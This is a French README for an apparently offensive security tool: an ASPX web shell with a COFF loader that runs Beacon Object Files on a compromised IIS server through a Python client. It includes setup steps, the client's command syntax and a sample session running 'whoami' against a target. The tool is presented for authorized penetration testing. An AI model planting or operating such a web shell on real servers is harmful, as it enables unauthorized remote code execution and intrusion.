epotseluevskaya/aspx_webshell_coffloaderShell web ASPX avec chargeur COFF pour exécuter des fichiers objet Beacon (BOF) sur des serveurs cibles via un client Python semi-interactif, conçu pour les tests de pénétration autorisés.
Basé sur le CS_COFFLoader de TrustedSec
Ce shell Web ASPX permet l'exécution de Beacon Object Files (BOFs) sur un serveur cible à l'aide d'un client Python semi-interactif.
Il utilise une implémentation de chargeur COFF dérivée de CS_COFFLoader de TrustedSec.
Ce projet est destiné strictement à la recherche en sécurité et aux tests de pénétration autorisés. En utilisant ce projet, vous acceptez de vous conformer à toutes les lois et réglementations applicables.
Avant d'utiliser, vous aurez besoin de :
Compilez beacon_compatibility.c depuis https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object, et remplacez le placeholder {{BEACON_DATA}} dans le fichier ASPX par le fichier objet encodé en Base64.
Compilez vos BOFs, par exemple, depuis https://github.com/trustedsec/CS-Situational-Awareness-BOF, et spécifiez le chemin du répertoire contenant les BOFs compilés dans le client Web.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....